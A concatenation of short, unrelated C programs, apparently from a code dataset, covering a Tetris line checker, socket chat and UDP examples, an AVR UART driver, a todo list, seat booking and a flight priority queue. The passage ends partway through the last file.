void imprimirListaComentarios(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("-COMENTARIOS\n");
while(paux){
printf("%s\n", paux->dato.id);
paux = paux->sig;
}
}
void imprimirListaNoRec(nodo **lista){
nodo* paux = (*lista);
if(paux)
printf("CARACTERES NO RECONOCIDOS\n");
while(paux){
printf("%s\n", paux->dato.id);
paux = paux->sig;
}
}
long long convertOctalToDecimal(int octalNumber){
int decimalNumber = 0, i = 0;
while(octalNumber != 0){
decimalNumber += (octalNumber%10) * pow(8,i);
++i;
octalNumber/=10;
}
i = 1;
return decimalNumber;
}
long long hexadecimalToDecimal(int hexalNumber){
int decimalNumber = 0, i = 0;
while(hexalNumber != 0){
decimalNumber += (hexalNumber%10) * pow(16,i);
++i;
hexalNumber/=10;
}
i = 1;
return decimalNumber;
}
long long realSeparator(float real){
float base = real - (int)real;
while (base - (int)base > 0){
base *= 10;
}
return (int)base;
}
/*
void reporte(){
imprimirListaId(&listaId);
imprimirListaLCadena(&listaLCadena);
imprimirListaTipo(&listaTipo);
imprimirListaControl(&listaControl);
imprimirListaOtra(&listaOtra);
imprimirListaOctal(&listaOctal);
imprimirListaHexa(&listaHexa);
imprimirListaDecimal(&listaDecimal, acum);
imprimirListaReal(&listaRealEntera, &listaRealMantisa);
imprimirListaPuntuacion(&listaPuntuacion);
imprimirListaOperadores(&listaOperador);
imprimirListaComentarios(&listaComent);
imprimirListaNoRec(&listaNoRec);
}*/
|
C
|
/*
** check_line.c for check_line in /home/pinta_a/rendu/TETRIS/last/PSU_2015_tetris
**
** Made by pinta_a
** Login <pinta_a@epitech.eu>
**
** Started on Sat Mar 19 19:12:22 2016 pinta_a
** Last update Sun Mar 20 22:42:10 2016 pinta_a
*/
#include "proto.h"
void copy_line(int *dest, int *src, int size)
{
int i;
i = 1;
while (i < size)
{
dest[i] = src[i];
i = i + 1;
}
}
void down_tab(t_loop *data, int i)
{
while (i > 1)
{
copy_line(data->tmp[i], data->tmp[i - 1], data->ini.game.width + 1);
copy_line(data->map[i], data->map[i - 1], data->ini.game.width + 1);
i = i - 1;
}
}
void _check_line(t_loop *data, int *j, int *x)
{
data->ini.game.line = data->ini.game.line + 1;
if (data->ini.game.line % 10 == 0)
data->ini.game.level = data->ini.game.level + 1;
data->ini.game.score = data->ini.game.score + 10 * *x;
*x = *x + 1;
*j = 1;
}
void check_line(t_loop *data)
{
int i;
int j;
int x;
i = 1;
x = 1;
while (i < data->ini.game.height + 1)
{
j = 1;
while (data->tmp[i][j] == 1 && j < data->ini.game.width + 1)
j = j + 1;
if (j == data->ini.game.width + 1)
{
_check_line(data, &j, &x);
while (j < data->ini.game.width + 1)
{
data->tmp[i][j] = 0;
data->map[i][j] = 0;
j = j + 1;
}
if (i > 1)
down_tab(data, i);
}
i = i + 1;
}
}
|
C
|
#include <stdio.h>
int main(void)
{
int input;
double sum=0.0;
int i=0;
int max=-1;
int max2=-1;
int max3=-1;
printf("0과 2147483647 사이의 값을 입력하세요.\n");
while((scanf("%d", &input))!=EOF)
{
if (input>max) // max1~maxn까지 구해야하는 상황이라면 if문은 총 n개만큼이 필요하다
max3=max2, max2=max, max=input;
else if (input<max && input>max2)
max3=max2, max2=input;
else if (input<max2 && input>max3)
max3=input;
i++; // i는 입력 횟수 (총 input이 몇 번 들어왔는가)
sum += input;
}
printf("제일 큰 숫자 : %d\n", max);
printf("2번째로 큰 숫자 : %d\n", max2);
printf("3번째로 큰 숫자 : %d\n", max3);
printf("입력된 숫자들의 평균 : %f\n", sum/i);
return 0;
}
|
C
|
#include <err.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc,char** argv)
{
if(argc != 5)
{
errx(1,"Wrong arg. num.");
}
struct stat st;
if(stat(argv[2],&st) < 0)
{
err(2,"error stat file %s",argv[2]);
}
if(st.st_size % (sizeof(uint16_t) + sizeof(uint8_t) + sizeof(uint8_t)) != 0)
{
errx(3,"error in %s structure", argv[2]);
}
int fdIdx = open(argv[2],O_RDONLY);
if(fdIdx < 0)
{
err(4,"error opening file %s", argv[2]);
}
int fdDat = open(argv[1],O_RDONLY);
if(fdDat < 0)
{
int olderrno = errno;
close(fdIdx);
errno = olderrno;
err(5,"error opening file %s", argv[1]);
}
int fd2Idx = open(argv[4],O_CREAT|O_TRUNC|O_WRONLY, S_IRUSR);
if(fd2Idx < 0)
{
int olderrno = errno;
close(fdIdx);
close(fdDat);
errno = olderrno;
err(6,"error opening file %s", argv[4]);
}
int fd2Dat = open(argv[3],O_CREAT|O_TRUNC|O_WRONLY, S_IRUSR);
if(fd2Dat < 0)
{
int olderrno = errno;
close(fdIdx);
close(fdDat);
close(fd2Idx);
errno = olderrno;
err(7,"error opening file %s", argv[3]);
}
struct idx
{
uint16_t position;
uint8_t length;
uint8_t skip;
};
struct idx buf;
while(read(fdIdx,&buf,sizeof(buf)) == sizeof(buf))
{
off_t offset = lseek(fdDat,buf.position,SEEK_SET);
if(offset < 0)
{
int olderrno = errno;
close(fdIdx);
close(fdDat);
close(fd2Idx);
close(fd2Dat);
errno = olderrno;
err(6,"lseek error");
}
uint8_t counter = 0;
uint8_t datBuf;
while(read(fdDat,&datBuf,sizeof(datBuf)) == sizeof(datBuf))
{
if(counter == buf.length)
break;
if(counter == 0)
{
if(!(datBuf >= 0x41 && datBuf <= 0x5A))
{
break;
}
}
if(write(fd2Dat,&datBuf,sizeof(datBuf)) != sizeof(datBuf))
{
int olderrno = errno;
close(fdIdx);
close(fdDat);
close(fd2Idx);
close(fd2Dat);
errno = olderrno;
err(9,"error writing to file %s",argv[3]);
}
counter++;
}
if(write(fd2Idx,&buf,sizeof(buf)) != sizeof(buf))
{
int olderrno = errno;
close(fdIdx);
close(fdDat);
close(fd2Idx);
close(fd2Dat);
errno = olderrno;
err(10,"error writing to file %s",argv[4]);
}
}
exit(0);
}
|
C
|
#include<stdio.h>
#include<string.h>
char l1[150],l2[150],s[150];
int main(){
int lenl,lens,i,j,k;
scanf("%d %d",&lenl,&lens);
scanf(" %s %s %s",l1,l2,s);
for(i=0;i<lenl;i++){
for(j=lens-1;j>=0;j--){
for(k=lens-1;k>=j;k--)
if(s[k]<=l1[i] && l1[i]<=l2[i]) s[k]=l1[i];
else if(s[k]<=l2[i] && l2[i]<=l1[i]) s[k]=l2[i];
else if(s[k]>=l1[i] && l1[i]>=l2[i]) s[k]=l1[i];
else if(s[k]>=l2[i] && l2[i]>=l1[i]) s[k]=l2[i];
}
}
printf("%s\n",s);
return 0;
}
|
C
|
/** lab13.c solution to labs 13-14 CS1023
Winter 2010
Compute the sum of the first n integers.
Compares an iterative and recursive implementation
**/
#include <stdio.h>
#include "simpio.h"
#include "strlib.h"
//function prototy[pe
int IterativeSum( int n);
int RecursiveSum(int n);
int main(){
int sum;
printf("This program will print sum the first n values. It will continue until you enter -1\n");
printf("Enter a number\n");
int n = GetInteger();
while(n != -1){
sum = IterativeSum(n);
printf("Iteratively: The sum of numbers 1-%d is %d\n",n,sum);
sum = RecursiveSum(n);
printf("Recursively: The sum of numbers 1-%d is %d\n",n,sum);
printf("Enter a number\n");
n = GetInteger();
}
return 0;
}
int IterativeSum(int n){
int i, sum =0;
for( i = 1; i <= n; ++i)
sum += i;
return (sum);
}
int RecursiveSum(int n){
int m;
printf("Inside RecursiveSum(%d)\n",n);
if(n==1)
return n;
m = n + RecursiveSum(n-1);
printf("m: %d\n",m);
return m;
}
|
C
|
/******************************************************************************
* tcp_client.c
*
*****************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <ctype.h>
#include "networks.h"
#define INIT_INPUT_LEN 3
#define MAXBUF 1400
#define DEBUG_FLAG 1
#define xstr(a) str(a)
#define str(a) #a
void sendToServer(int socketNum);
void checkArgs(int argc, char * argv[]);
void selectHandlerLoop(int clientSocket, u_char *handle);
void clientPrompt(int clientSocket, u_char *handle);
void sendB(int clientSocket, char *buf, u_char *handle);
void sendE(int clientSocket);
void sendL(int clientSocket);
void sendM(int clientSocket, char *buf, u_char *handle);
int main(int argc, char * argv[])
{
int socketNum = 0; //socket descriptor
// check args
checkArgs(argc, argv);
/* set up the TCP Client socket */
socketNum = tcpClientSetup(argv[2], argv[3], DEBUG_FLAG);
u_char *handle = (u_char *) argv[1];
sendFlag01(socketNum, handle);
selectHandlerLoop(socketNum, handle);
close(socketNum);
return 0;
}
void selectHandlerLoop(int clientSocket, u_char *handle) {
fd_set fdset;
FD_ZERO(&fdset);
FD_SET(clientSocket, &fdset);
FD_SET(fileno(stdin), &fdset);
if(select(clientSocket + 1, &fdset, NULL, NULL, NULL) < 0) {
fprintf(stderr, "select error\n");
}
if(FD_ISSET(clientSocket, &fdset)) {
recv2(clientSocket, NULL, fdset, handle);
}
while(1){
FD_ZERO(&fdset);
FD_SET(clientSocket, &fdset);
FD_SET(fileno(stdin), &fdset);
printf ("$: ");
fflush(stdout);
if(select(clientSocket + 1, &fdset, NULL, NULL, NULL) < 0) {
fprintf(stderr, "select error\n");
}
if(FD_ISSET(clientSocket, &fdset)) {
printf("\n");
recv2(clientSocket, NULL, fdset, handle);
} else {
clientPrompt(clientSocket, handle);
}
}
}
void clientPrompt(int clientSocket, u_char *handle) {
char buf[MAXBUF];
memset(buf, 0, MAXBUF);
scanf ("%[^\n]s", buf);
if(strlen(buf) > 1400) {
fprintf(stderr, "Packet too big (>1400 bytes)\n");
while ( getchar() != '\n' );
fflush(stdout);
fflush(stdin);
printf("hi\n");
return;
}
switch (tolower(buf[1])) {
case 'm':
sendM(clientSocket, buf, handle);
break;
case 'b':
sendB(clientSocket, buf, handle);
break;
case 'l':
sendL(clientSocket);
break;
case 'e':
sendE(clientSocket);
break;
default:
printf("Invalid command\n");
}
while ( getchar() != '\n' );
fflush(stdout);
fflush(stdin);
return;
}
void sendE(int clientSocket) {
sendFlag08(clientSocket);
}
void sendL(int clientSocket) {
sendFlag10(clientSocket);
}
void sendM(int clientSocket, char *buf, u_char *handle) {
u_char *handles[100];
int numHandles, distanceToMessage = INIT_INPUT_LEN;
u_char *message;
char bufCpy[MAXBUF];
memset(bufCpy, 0, MAXBUF);
memcpy(bufCpy, buf, strlen(buf));
char *delimBuf = strtok(bufCpy, " ");
delimBuf = strtok(NULL, " ");
if(!delimBuf) {
fprintf(stderr, "Usage: %m [# of handles] handle1 [handle2] ... message\n");
return;
}
if(!(numHandles = strtol(delimBuf, NULL, 10))) {
*handles = (u_char*) delimBuf;
distanceToMessage += strlen(delimBuf) + 1 /* for space after handle */;
message = (u_char*) buf + distanceToMessage;
sendFlag05(clientSocket, handle, 1, handles, message);
return;
}
if(numHandles > 9) {
fprintf(stderr, "Too many handles used (>9)\n");
return;
}
delimBuf = strtok(NULL, " ");
distanceToMessage+=2;
int i;
for(i = 0; i < numHandles; i++) {
if(!delimBuf) {
printf("here4\n");
fprintf(stderr, "Usage: %m [# of handles] handle1 [handle2] ... message\n");
return;
}
*(handles + i) = (u_char*) delimBuf;
distanceToMessage += strlen(delimBuf) + 1 /* for space after handle */;
delimBuf = strtok(NULL, " ");
}
message = (u_char*) buf + distanceToMessage;
sendFlag05(clientSocket, handle, numHandles, handles, message);
}
void sendB(int clientSocket, char *buf, u_char *handle) {
int distanceToMessage = INIT_INPUT_LEN;
u_char *message;
message = (u_char*) buf + distanceToMessage;
sendFlag04(clientSocket, handle, message);
}
void sendToServer(int socketNum)
{
char sendBuf[MAXBUF]; //data buffer
int sendLen = 0; //amount of data to send
int sent = 0; //actual amount of data sent/* get the data and send it */
printf("Enter the data to send: ");
scanf("%" xstr(MAXBUF) "[^\n]%*[^\n]", sendBuf);
sendLen = strlen(sendBuf) + 1;
printf("read: %s len: %d\n", sendBuf, sendLen);
sent = send(socketNum, sendBuf, sendLen, 0);
if (sent < 0)
{
perror("send call");
exit(-1);
}
printf("String sent: %s \n", sendBuf);
printf("Amount of data sent is: %d\n", sent);
}
void checkArgs(int argc, char * argv[])
{
/* check command line arguments */
if (argc != 4)
{
fprintf(stderr, "usage: %s handle host-name port-number \n", argv[0]);
exit(1);
}
if(strlen(argv[1]) > 100) {
fprintf(stderr, "Invalid handle, handle longer than 100 characters: %s\n", argv[1]);
exit(1);
}
if(strtol(argv[1], NULL, 10) != 0 || argv[1][0] == '0') {
fprintf(stderr, "Invalid handle, handle starts with a number\n");
exit(1);
}
}
|
C
|
#include<stdio.h>
#include<curses.h>
void main()
{
int a,b,*p,*q;
a=10;
b=20;
p=&a;
q=&b;
printf("\n value of a=%d",a);
printf("\n address of a=%u",&a);
printf("\n value of b=%d",b);
printf("\n address of b=%u",&b);
printf("\n value of pointer p=%u",p);
printf("\n address of pointer p=%u",&p);
printf("\n value at the pointer p=%d",*p);
printf("\n value of pointer q=%u",q);
printf("\n address of pointer q=%u",&q);
printf("\n value at the pointer q=%d",*q);
}
|
C
|
#ifndef UART_H_
#define UART_H_
#define BAUD_PRESCALE ((F_CPU / (BAUDRATE * 16UL)) - 1) /* Define prescale value */
void UART_init(unsigned long BAUDRATE){
//Double Speed
UCSRA = 0x02 ;
//Polling
/*
UCSRB |= (1 << RXEN) | (1 << TXEN); // Enable USART transmitter and receiver and Interrupt
UCSRB |= (1 << RXEN) | (1 << TXEN) ; // Enable USART transmitter and receiver
UCSRC |= (1 << URSEL)| (1 << UCSZ0) | (1 << UCSZ1); // Write USCRC for 8 bit data and 1 stop bit
UBRRL = BAUD_PRESCALE; // Load UBRRL with lower 8 bit of prescale value
UBRRH = (BAUD_PRESCALE >> 8); // Load UBRRH with upper 8 bit of prescale value
*/
//Interrupt
/*
UCSRB |= (1 << RXEN) | (1 << TXEN) | (1 << RXCIE); // Enable USART transmitter and receiver and Interrupt
UCSRB |= (1 << RXEN) | (1 << TXEN) ; // Enable USART transmitter and receiver
UCSRC |= (1 << URSEL)| (1 << UCSZ0) | (1 << UCSZ1); // Write USCRC for 8 bit data and 1 stop bit
UBRRL = BAUD_PRESCALE; // Load UBRRL with lower 8 bit of prescale value
UBRRH = (BAUD_PRESCALE >> 8); // Load UBRRH with upper 8 bit of prescale value
*/
UCSRB |= (1 << RXEN) | (1 << TXEN) | (1 << RXCIE);
UCSRC |= (1 << URSEL)| (1 << UCSZ0) | (1 << UCSZ1);
UBRRL = 12 ;
UBRRH = 0 ;
}
void UART_send(unsigned char data){
while((UCSRA&(1<<UDRE))==0) ;
UDR = data ;
}
char USART_RxChar() /* Data receiving function */
{
while (!(UCSRA & (1 << RXC))); /* Wait until new data receive */
return(UDR); /* Get and return received data */
}
void USART_TxChar(char data) /* Data transmitting function */
{
UDR = data; /* Write data to be transmitting in UDR */
while (!(UCSRA & (1<<UDRE))); /* Wait until data transmit and buffer get empty */
}
#endif /* UART_H_ */
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main(void){
FILE *f1, *f2;
char ch;
//ļ1
if((f1=fopen("user.txt","r"))==NULL){
printf("Failed to open f1!\n");
exit(0);
}
//½ļ2
if((f2=fopen("user_copy.txt","w"))==NULL){
printf("Failed to open f2!\n");
exit(0);
}
while(!feof(f1)){
ch = fgetc(f1);
if(ch != EOF)
fputc(ch, f2);
}
//رf1
if(fclose(f1)){
printf("Failed to close f1!\n");
exit(0);
}
//رf2
if(fclose(f2)){
printf("Failed to close f2!\n");
exit(0);
}
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <sys/un.h>
int main()
{
int sock;
struct sockaddr_in addr, client;
char buf[50];
char name[20] = "Connected";
socklen_t len = sizeof(struct sockaddr);
sock = socket(AF_INET, SOCK_DGRAM, 0);
if(sock < 0){
perror("socket");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(3456);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0){
perror("bind");
exit(1);
}
printf("Подключение клиента...\n");
if(recvfrom(sock, buf, 30, 0, (struct sockaddr *)&client, &len) == -1){
perror("recvfrom");
exit(1);
}
printf("Клиент подключен: %s\nОтвет сервера...\n", buf);
if(sendto(sock, name, 30, 0, (struct sockaddr *)&client, len) == -1){
perror("sendto");
exit(1);
}
// printf("Закрытие сокета...\n");
// close(sock);
return 0;
}
|
C
|
//question name: Hello World
//question number: 2557
//status: correct
#include <stdio.h>
int main(void)
{
printf("Hello World!");
return (0);
}
|
C
|
#include "todo_list.h"
#include <limits.h>
todo_list_t init_todo_list(size_t max_size)
{
size_t index;
todo_list_t todo_list;
memset(&todo_list, 0, sizeof(todo_list_t));
if (max_size == 0) {
return todo_list;
}
todo_list.max_size = max_size;
todo_list.cur_size = 0;
todo_list.priority_list = (int32_t*)malloc(sizeof(int32_t) * max_size);
todo_list.task_list = (char**)malloc(sizeof(char*) * max_size);
for (index = 0; index < max_size; index++) {
todo_list.priority_list[index] = 0;
todo_list.task_list[index] = NULL;
}
return todo_list;
}
void finalize_todo_list(todo_list_t* todo_list)
{
size_t index;
if (todo_list == NULL) {
return;
}
if (todo_list->max_size == 0) {
return;
}
for (index = 0; index < (todo_list->cur_size); index++) {
free(todo_list->task_list[index]);
}
free(todo_list->priority_list);
free(todo_list->task_list);
}
bool add_todo(todo_list_t* todo_list, const int32_t priority, const char* task)
{
size_t index;
size_t cur_index;
size_t swap_index;
size_t task_length;
if (todo_list == NULL) {
return false;
}
if ((todo_list->cur_size) >= (todo_list->max_size)) {
return false;
}
if (task == NULL) {
return false;
}
if (*task == '\0') {
return false;
}
/* data initialization */
cur_index = (todo_list->cur_size);
swap_index = cur_index;
task_length = strlen(task) + 1;
todo_list->priority_list[cur_index] = priority;
todo_list->task_list[cur_index] = (char*)malloc(sizeof(char) * task_length);
snprintf(todo_list->task_list[cur_index], task_length, "%s", task);
if (cur_index == 0) {
goto complete_add;
}
for (index = (cur_index - 1); index >= 0; index--) {
if (priority <= todo_list->priority_list[index]) {
break;
}
swap_node(todo_list, swap_index, index);
swap_index = index;
if (index == 0) {
break;
}
}
complete_add:
++(todo_list->cur_size);
return true;
}
bool complete_todo(todo_list_t* todo_list)
{
size_t index;
char* remove_task;
if (todo_list == NULL) {
return false;
}
if (is_empty(todo_list) == true) {
return false;
}
remove_task = todo_list->task_list[0];
for (index = 0; index < (todo_list->cur_size); index++) {
if (index == (todo_list->cur_size - 1)) {
break;
}
swap_node(todo_list, index, index + 1);
}
todo_list->priority_list[todo_list->cur_size - 1] = 0;
free(remove_task);
todo_list->task_list[todo_list->cur_size - 1] = NULL;
--(todo_list->cur_size);
return true;
}
const char* peek_or_null(const todo_list_t* todo_list)
{
if (todo_list == NULL) {
return NULL;
}
if (is_empty(todo_list) == true) {
return NULL;
}
return (const char*)(todo_list->task_list[0]);
}
size_t get_count(const todo_list_t* todo_list)
{
if (todo_list == NULL) {
return 0;
}
return (todo_list->cur_size);
}
bool is_empty(const todo_list_t* todo_list)
{
if (todo_list == NULL) {
return false;
}
if (todo_list->cur_size == 0) {
return true;
}
return false;
}
void print_todo_list(const todo_list_t* todo_list)
{
size_t index;
if (todo_list->max_size == 0) {
return;
}
if (todo_list->cur_size == 0) {
return;
}
for (index = 0; index < (todo_list->cur_size); index++) {
printf("[priority]: %d / [task]: %s\n", todo_list->priority_list[index], todo_list->task_list[index]);
}
printf("---------------------------------------------------------------------\n\n");
}
void swap_node(todo_list_t* todo_list, size_t idx1, size_t idx2)
{
int32_t temp_priority;
char* temp_task;
temp_priority = todo_list->priority_list[idx1];
temp_task = todo_list->task_list[idx1];
todo_list->priority_list[idx1] = todo_list->priority_list[idx2];
todo_list->task_list[idx1] = todo_list->task_list[idx2];
todo_list->priority_list[idx2] = temp_priority;
todo_list->task_list[idx2] = temp_task;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
void crearBaseDatos(char,int,int);
int mostrarMenu();
void reservarAsiento(int**,int,int);
void cancelarAsiento(int**,int,int);
void mostrarOcupacion(int**,int,int);
void actualizarBD(int**,char*,int,int);
int main()
{
int opcion, row, col, operacion, **avion,cont;
int i,j;
char *base_datos;
FILE *archivo;
opcion=0;
do{
printf("1) Crear nueva base de datos\n2) Abrir una base de datos existente.\n3) Salir.\n");
scanf("%d",&opcion);
base_datos=(char*)malloc(50*sizeof(char));
if (base_datos==NULL){
printf("Fallo en la reserva de memoria\n");
return 0;
}
if (opcion==1){
/*---OPCION 1---*/
/*---Crear un nueva BD---*/
printf("Nueva BD. Introduzca el numero de asientos y filas: ");
scanf("%d %d",&row,&col);
/*---CONSTRUIMOS EL NOMBRE DEL ARCHIVO---*/
sprintf(base_datos,"BD_%dx%d.txt",row,col);
printf("El nombre del archivo de salida es: %s",base_datos);
printf("\n\nSon %d filas y %d columnas\n",row,col);
archivo=fopen(base_datos,"w");
if (archivo==NULL){
printf("Error al iniciar la BD");
return 0;
}else{
fprintf(archivo,"%d %d\n",row,col);
for (i=0;i<row;i++){
for (j=0;j<col;j++){
fprintf(archivo,"%d %c",0,(j==col-1)?'\n':' ');
printf("%d %c",0,(j==col-1)?'\n':' ');
}
}
}
free (base_datos);
fclose(archivo);
}else if(opcion==2){
/*---OPCION 2---*/
/*---Abrir BD existente---*/
printf("Ingrese el nombre de la base de datos que desea abrir (max 50 caracteres): ");
scanf("%s",base_datos);
printf("\nBase de Datos: %s\n\n",base_datos);
//APERTURA DEL ARCHIVO
archivo=fopen(base_datos,"r+");
if(archivo==NULL){
printf("Error al abrir el archivo.\n");
exit(1);
}
//ESCANEO DE LA BASE DE DATOS
fscanf(archivo,"%d %d",&row,&col);
//printf("Este avion tiene %d filas y %d columnas",row,col);
//system("PAUSE");
//RESERVA DE MEMORIA PARA EL AVION DE PANTALLA
avion=(int**)malloc(row*sizeof(int*));
if (avion==NULL){
printf("Error en la reserva de memoria");
exit(1);
}
for(cont=0; cont<row; cont++){
avion[cont]=(int*)malloc(col*sizeof(int));
if (avion[cont]==NULL){
printf("Error: memoria insufiente");
exit(1);
}
}
//COPIA DEL AVION A LA MEMORIA
for (i=0;i<row;i++){
for (j=0;j<col;j++){
fscanf(archivo,"%d",&avion[i][j]);
}
}
fclose(archivo);
//archivo=fopen(base_datos,"w+");
do{
operacion=mostrarMenu();
if (operacion==1){
reservarAsiento(avion,row,col);
}else if(operacion==2){
cancelarAsiento(avion,row,col);
}else if(operacion==3){
mostrarOcupacion(avion,row,col);
}else if(operacion==4){
actualizarBD(avion,base_datos,row,col);
free (base_datos);
}else{
free(avion);
free(base_datos);
break;
}
}while(operacion!=5);
}else
return 0;
}while(opcion!=3);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdbool.h>
#include <values.h>
#define _GNU_SOURCE
struct ParsedLine
{
char **tokens;
int token_size;
};
struct ParsedLine parse_line(char *line, char *delimiter)
{
struct ParsedLine parsed_line = {malloc(sizeof(char *)), 0};
char *token;
/* get the first token */
token = strtok(line, delimiter);
/* walk through other tokens and the tokens*/
while (token != NULL)
{
parsed_line.token_size++;
parsed_line.tokens = realloc(parsed_line.tokens, sizeof(char *) * parsed_line.token_size);
parsed_line.tokens[parsed_line.token_size - 1] = malloc(sizeof(char) * (strlen(token) + 1));
strcpy(parsed_line.tokens[parsed_line.token_size - 1], token);
token = strtok(NULL, delimiter);
}
return parsed_line;
}
void read_and_parse_lines(struct ParsedLine **parsed_lines, int *parsed_lines_size, char *file_name)
{
//Read the data and parsing it.
struct ParsedLine parsed_line;
FILE *fp;
char *line = NULL;
size_t len = 0;
ssize_t read;
fp = fopen(file_name, "r");
if (fp == NULL)
exit(EXIT_FAILURE);
while ((read = getline(&line, &len, fp)) != -1)
{
if (strcmp(line, "\r\n") == 0 || strcmp(line, "") == 0)
continue;
(*parsed_lines_size)++;
*parsed_lines = realloc(*parsed_lines, sizeof(struct ParsedLine) * *parsed_lines_size);
line[strcspn(line, "\r\n")] = '\0';
parsed_line = parse_line(line, " ");
(*parsed_lines)[*(parsed_lines_size)-1] = parsed_line;
}
fclose(fp);
if (line)
free(line);
}
/*******PARSING IS DONE*******/
struct Passenger
{
char *passenger_name;
char *passenger_class;
char *wanted_seat_class;
int place;
};
struct PriorityQueue
{
struct Passenger *waiting_passengers;
char *que_type;
int waiting_passenger_number;
};
struct Flight
{
char *flight_name;
struct PriorityQueue business_priority_queue;
struct PriorityQueue economy_priority_queue;
struct PriorityQueue standard_priority_queue;
bool is_closed;
int business_seat_number;
int economy_seat_number;
int standard_seat_number;
int solded_business_seat_number;
int solded_economy_seat_number;
int solded_standard_seat_number;
struct Passenger *business_seats;
struct Passenger *economy_seats;
struct Passenger *standard_seats;
};
bool compare_priority_of_child_and_parent(struct Passenger child, struct Passenger parent, char *priority_type)
{
// return true if child has the priority, likewise return false if parent has the priority.
bool is_will_be_changed;
// both of them have no the priority.
if (strcmp(child.passenger_class, priority_type) != 0 && strcmp(parent.passenger_class, priority_type) != 0)
{
if (child.place < parent.place)
is_will_be_changed = true;
else
is_will_be_changed = false;
}
// child has the priority but parent hasn't.
else if (strcmp(child.passenger_class, priority_type) == 0 && strcmp(parent.passenger_class, priority_type) != 0)
is_will_be_changed = true;
// both of them have the priority.
else if (strcmp(child.passenger_class, priority_type) == 0 && strcmp(parent.passenger_class, priority_type) == 0)
{
if (child.place < parent.place)
is_will_be_changed = true;
else
is_will_be_changed = false;
}
// parent has the priority but child hasn't.
else if (strcmp(child.passenger_class, priority_type) != 0 && strcmp(parent.passenger_class, priority_type) == 0)
is_will_be_changed = false;
return is_will_be_changed;
}
void transform_to_min_priority_que(struct PriorityQueue priority_queue) // building min-heap
{
char *priority_type;
if (strcmp(priority_queue.que_type, "business") == 0)
priority_type = strdup("diplomat");
else if (strcmp(priority_queue.que_type, "economy") == 0)
priority_type = strdup("veteran");
else if (strcmp(priority_queue.que_type, "standard") == 0)
priority_type = strdup("nobody");
for (int i = priority_queue.waiting_passenger_number - 1; i > 0; i--)
{ // starting from the end of heap, go through backward.
struct Passenger *child = &priority_queue.waiting_passengers[i];
struct Passenger *parent = &priority_queue.waiting_passengers[((i + 1) / 2) - 1];
if (compare_priority_of_child_and_parent(*child, *parent, priority_type))
{
// swap process
struct Passenger temp = *parent;
*parent = *child;
*child = temp;
}
}
free(priority_type);
}
struct Passenger dequeue_highest_priority_from_priority_que(struct PriorityQueue *priority_queue)
{
struct Passenger highest_priority_passenger = priority_queue->waiting_passengers[0];
priority_queue->waiting_passengers[0] = priority_queue->waiting_passengers[priority_queue->waiting_passenger_number - 1];
priority_queue->waiting_passenger_number -= 1;
priority_queue->waiting_passengers = realloc(priority_queue->waiting_passengers, sizeof(struct Passenger) * (priority_queue->waiting_passenger_number));
return highest_priority_passenger;
}
void sell_ticket(struct Passenger **seats, int *solded_seat_number, struct Passenger passenger)
{
(*seats)[*(solded_seat_number)] = passenger;
(*(solded_seat_number))++;
}
int search_flight(char *flight_name, struct Flight *flights, int flight_num)
{
int index_of_flight = -1;
for (int i = 0; i < flight_num; i++)
if (strcmp(flights[i].flight_name, flight_name) == 0)
{
index_of_flight = i;
break;
}
return index_of_flight;
}
void add_new_seats(struct Flight *flight, char *que_type, int number_of_will_be_added_seats)
{
if (strcmp(que_type, "business") == 0)
{
flight->business_seat_number += number_of_will_be_added_seats;
flight->business_seats = realloc(flight->business_seats, sizeof(struct Passenger) * flight->business_seat_number);
}
else if (strcmp(que_type, "economy") == 0)
{
flight->economy_seat_number += number_of_will_be_added_seats;
flight->economy_seats = realloc(flight->economy_seats, sizeof(struct Passenger) * flight->economy_seat_number);
}
else if (strcmp(que_type, "standard") == 0)
{
flight->standard_seat_number += number_of_will_be_added_seats;
flight->standard_seats = realloc(flight->standard_seats, sizeof(struct Passenger) * flight->standard_seat_number);
}
}
struct PriorityQueue create_priority_queue(char *que_type)
{
struct PriorityQueue new_priority_queue = {malloc(sizeof(struct Passenger)), strdup(que_type), 0};
return new_priority_queue;
}
struct Flight init_new_flight(char *flight_name)
{
struct Flight new_flight;
new_flight.flight_name = strdup(flight_name);
new_flight.is_closed = false;
new_flight.business_seat_number = 0;
new_flight.economy_seat_number = 0;
new_flight.standard_seat_number = 0;
new_flight.solded_business_seat_number = 0;
new_flight.solded_economy_seat_number = 0;
new_flight.solded_standard_seat_number = 0;
new_flight.business_seats = malloc(sizeof(struct Passenger));
new_flight.economy_seats = malloc(sizeof(struct Passenger));
new_flight.standard_seats = malloc(sizeof(struct Passenger));
new_flight.business_priority_queue = create_priority_queue("business");
new_flight.economy_priority_queue = create_priority_queue("economy");
new_flight.standard_priority_queue = create_priority_queue("standard");
return new_flight;
}
struct Passenger form_new_passenger(char *passenger_name, char *passenger_class)
{
struct Passenger new_passenger;
new_passenger.passenger_name = strdup(passenger_name);
new_passenger.passenger_class = strdup(passenger_class);
return new_passenger;
}
void realloc_priority_que(struct PriorityQueue *priority_queue)
{ //editlenecek 2x hale getirilecek
priority_queue->waiting_passenger_number++;
priority_queue->waiting_passengers = realloc(priority_queue->waiting_passengers, sizeof(struct Passenger) * priority_queue->waiting_passenger_number);
}
void priority_que_enqueue(struct PriorityQueue *priority_queue, struct Passenger *new_passenger)
{
realloc_priority_que(priority_queue);
new_passenger->place = priority_queue->waiting_passenger_number;
priority_queue->waiting_passengers[priority_queue->waiting_passenger_number - 1] = *new_passenger;
}
int how_many_seat_can_be_sold(int available_seat_number, int demand_number)
{
int number_of_seat_will_be_sold;
if (available_seat_number >= demand_number)
